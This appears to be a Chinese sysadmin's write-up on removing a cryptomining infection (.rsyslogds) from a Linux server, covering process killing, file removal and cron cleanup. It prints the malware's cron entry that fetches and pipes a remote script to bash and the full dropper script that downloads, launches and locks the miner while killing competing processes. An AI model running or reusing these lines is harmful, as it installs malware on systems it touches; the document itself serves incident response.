突然收到通知说线上有服务不可用了……,赶紧丢下手头的活计检查问题
经检查是由于服务器突然资源被占用,导致本该正常服务的进程都被占用关闭了,并且cpu进程被占用到 了100%。
遇到事情先不要慌,使用top命令,用大写的P
使进程按cpu排序检查,发现有很多个.rsyslogds
进程排在前列,资源占用前十名都是它。
本来还以为是日志进程,后来发现处理不了才意识到是病毒文件。处理过程记录如下:
1. 首先把当前的病毒进程干掉
pkill -p .rsyslogds
检查是否还有病毒进程存在
ps -f | grep .rsyslogds
(这一步在后续的过程中依然可以运行检查,以防操作过程正是病毒运行复制的过程)
2. 找到启动脚本
先在top中定位到进程的pid,使用ls -al /proc/PID
命令找到对应目录。
而这个进程文件在/usr/sbin
目录下,使用ls -al /usr/sbin
命令可以看到其下有.rsyslogds
和.rsyslogds.sh
两个文件,需要先把他们两个删掉;
如果有当前文件的写命令,但是却提示permission denied,那么可以运行chattr -ai 文件名
后再进行删除。
3. 清理病毒定时任务
这里我就是被这个文件名以及里面的文件内容伪装欺骗了
其实这里的apache、nginx、root文件都是病毒文件,里面都有如下语句
30 23 * * * (curl -s http://agent.apacheorg.top:1234/xmss||wget -q -O - http://agent.apacheorg.top:1234/xmss )|bash -sh
需要把这些病毒文件都删除掉。
然后使用crontab -l
检查当前的定时任务
执行crontab -e,把里面的定时任务删掉。
4. 再继续检查
在0hourly下有使用,因此再继续检查/var/spool/anacron/cron.daily
和/usr/bin/on_ac_power
#!/bin/sh
# Check whether 0anacron was run today already
if test -r /var/spool/anacron/cron.daily; then
day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
exit 0;
fi
# Do not run jobs when on battery power
if test -x /usr/bin/on_ac_power; then
/usr/bin/on_ac_power >/dev/null 2>&1
if test $? -eq 1; then
exit 0
fi
fi
/usr/sbin/anacron -s
在vi /var/spool/cron/crontabs/root
发现还是有这个内容
30 23 * * * (curl -s http://agent.apacheorg.top:1234/xmss||wget -q -O - http://agent.apacheorg.top:1234/xmss )|bash -sh
编辑删除当前行。
另vi /usr/sbin/.inis
这个文件内也有,删除这个文件
#!/bin/bash
if ! [ -z "$(command -v wdl)" ] ; then DLB="wdl -O " ; fi ; if ! [ -z "$(command -v wge)" ] ; then DLB="wge -O " ; fi
if ! [ -z "$(command -v wget2)" ] ; then DLB="wget2 -O " ; fi ; if ! [ -z "$(command -v wget)" ] ; then DLB="wget -O " ; fi
if ! [ -z "$(command -v cdl)" ] ; then DLB="cdl -Lk -o " ; fi ; if ! [ -z "$(command -v cur)" ] ; then DLB="cur -Lk -o " ; fi
if ! [ -z "$(command -v curl2)" ] ; then DLB="curl2 -Lk -o " ; fi ; if ! [ -z "$(command -v curl)" ] ; then DLB="curl -Lk -o " ; fi
echo $DLB
if [ -w /usr/sbin ]; then
SPATH=/usr/sbin
else
SPATH=/tmp
fi
kill(){
ps aux | grep -v '.rsyslogds' |grep -v '.libs'| grep -v grep | awk '{if($3>50.0) print $2}' | while read procid
do
kill -9 $procid
done
}
while true; do
ipurl="http://agent.apacheorg.top:1234"
MD5_1_XMR = `curl -fsSL $ipurl/v||wget -q -O - $ipurl/v`
MD5_2_XMR=`md5sum $SPATH/.rsyslogds | awk '{print $1}'`
if [ "$MD5_1_XMR" = "$MD5_2_XMR" ]; then
if [ $(ps -aux|grep '.rsyslogds'|grep -v grep|wc -l) -eq '0' ];then
$SPATH/.rsyslogds
else
echo "ok"
fi
else
$DLB $SPATH/.rsyslogds $ipurl/.rsyslogds;chmod +x $SPATH/.rsyslogds;$SPATH/.rsyslogds
chattr +ai $SPATH/.rsyslogds
fi
kill
sleep 1m
done
要注意这几个位置
/etc/cron.d/用户名
/etc/cron.d/apache
/var/spool/cron/用户名
/var/spool/cron/crontabs/用户名
/etc/cron.hourly/oanacroner1
5. 附:查找相关文件的办法
# 根据文件名查找
find /usr/ -name *rsyslog*
# 根据文件内容查找
find /usr/ -type f -exec grep -l "apacheorg" {} \;